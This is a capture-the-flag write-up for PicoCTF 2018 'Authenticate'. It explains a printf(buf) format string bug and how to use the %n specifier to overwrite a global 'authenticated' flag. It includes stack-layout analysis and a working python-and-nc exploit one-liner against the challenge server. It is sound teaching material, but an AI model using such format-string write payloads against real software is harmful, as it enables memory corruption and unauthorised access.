PicoCTF 2018 - Authenticate
Note: This article is part of our PicoCTF 2018 BinExp Guide.
Spot the Bug
I’ll give you a hint, you should be able to spot the bug based on the last challenge.
int authenticated = 0;
void read_flag()
{
if (!authenticated) {
printf("Sorry, you are not *authenticated*!\n");
} else {
printf("Access Granted.\n");
flag();
}
}
int main(int argc, char **argv)
{
// ...
char buf[64];
// ...
fgets(buf, sizeof(buf), stdin);
if (strstr(buf, "no") != NULL) {
printf("Okay, Exiting...\n");
exit(1);
}
else if (strstr(buf, "yes") == NULL) {
puts("Received Unknown Input:\n");
printf(buf);
}
read_flag();
Let’s break it down:
- There is a global variable
authenticated
, initialized to false, but must be set to true in order to get the flag buf
is allocated on the stack (but is used safely buy the functionfgets
)- If the response contains “no”, the program immediately exits
- If the response contains “yes”, the program calls
read_flag()
(which validates theauthenticated
variable) - If the response contains neither “no” nor “yes”, the program calls
printf(buf)
to echo the response back to the user. For some reason, it still callsread_flag()
.
Soo… Where’s the bug?
If you said printf(buf)
, then you’re exactly right! Good job.
Strategy
Our strategy has to be a little different this time around. When printf
is called, the flag isn’t even loaded into memory yet!
But, we do know that buf
is on the stack, so we can probably reference stuff in that.
And we also know that read_flag()
will still get called, so we just need some way to change the value of authenticated
.
We even know exactly where authenticated
is in memory because we can verify that PIE is not enabled for this binary. (Do you remember how to check?)
The strategy is to find some way for a format string vulnerability to write to known location in memory.
Background Info
It’s silly really. How could a function designed for printing stuff to the screen allow you to write to memory?
Maybe you’re a c programming language veteran and have an idea… If so, connect to the challenge uisng nc 2018shell.picoctf.com 52398
and give it a go, otherwise, listen up.
If you browse the documentation for format strings, you come across this curious type field for “%n
”:
Character | Description |
---|---|
n | Print nothing, but write the number of characters successfully written so far into an integer pointer parameter. |
Which is very interesting. It says that instead of printing something to the screen when it sees a “%n
” token, it’ll actually treat the corresponding argument as an int*
and WRITE A NUMBER THERE. Essentially, if you make your output long enough, you can write any int
value to any location in memory (assuming you can control the int*
argument).
Ok, first things first, where is authenticated
in memory?
$ objdump -t ./auth | grep authenticated
0804a04c g O .bss 00000004 authenticated
What about the content of buf
? It’s on the stack, but where is it relative to the pointer to the format string passed as an argument to printf
?
mov ebp,esp
push ecx ; esp -= 4
sub esp,0x64 ; esp -= 0x64
; ...
; printf(buf)
sub esp,0xc
lea eax,[ebp-0x4c] ; &buf
push eax
call 80484b0 <printf@plt>
So, we know there are 0x68
bytes reserved on the stack. We know that buf[64]
starts at ebp-0x4c
. We know that we push the format string argument (a 4
byte ptr) followed by 12
bytes of padding, followed by rest of the baseline stack reserved by the function.
Start | End | Content |
---|---|---|
esp | esp+3 | &buf [4 bytes] (format string) |
esp+4 | esp+15 | alignment padding [12 bytes] |
esp+16 = baseline = ebp-0x68 | esp+31 = ebp-0x4d | other [28 bytes] |
ebp-0x4c | ebp-0x0d | buf[64] |
Therefore, there are 12+28 = 40
bytes of stuff between the format-string argument and the start of buf[]
.
First, let’s check our math, what should happen if we enter a format string of “ABCD %11$#lX
”?
If you recall from echooo, this format string is a POSIX extension that says treat all of the arguments as if they were “%#lX
” ie, a long sized integer, and then print ONLY the 11th one as a hexadecimal value (prepended with “0x”). The gcc compiler on x86 linux platforms treats long
integers as 32 bit. The ascii values for A
,B
,C
, and D
are 0x41
, 0x42
, 0x43
and 0x44
respectively. A 32-bit little-endian integer would store its value with the least significant byte first, and its most significant byte last. The string “ABCD” would therefore be equivalent to the in-memory representation of the 32-bit integer 0x44434241
, which is what we expect that format-string to print out. Let’s verify!
$ ./auth
Would you like to read the flag? (yes/no)
ABCD %11$#lX
Received Unknown Input:
ABCD 0x44434241
Sorry, you are not *authenticated*!
Excellent, memory is layed out exactly as we expect it to be!
You should now have all the pieces you need to craft your exploit. Try it now by connecting with nc 2018shell.picoctf.com 52398
.
Exploitation
We know authenticated
is at the address 0x0804a04c
, we know we can use “%n
” to write to an address, and we know that the first byte of buf[]
starts 40
bytes after the format-string argument (where 40
bytes is equivalent to 10
pointers).
Let’s write a non-zero value into authenticated
by putting the address 0x0804a04c
(written in little-endian form) into the first 4 bytes of buf
, and then use the format string “%11$n
” which will index into the stack the equivalent of 10 int*
pointers (40
bytes), grab the 11th one, and then set the value of memory pointed to by that pointer to be equal to the number of bytes printed so far (in this case 4). Since authenticated=4
is “truthy”, read_flag()
will call flag()
, which will then open the flag file and print its contents.
$ python -c 'print("\x4c\xa0\x04\x08%11$n")' | nc 2018shell.picoctf.com 52398
Would you like to read the flag? (yes/no)
Received Unknown Input:
L�
Access Granted.
picoCTF{===REDACTED===}
Good job! Head back to the PicoCTF 2018 BinExp Guide to continue with the next challenge.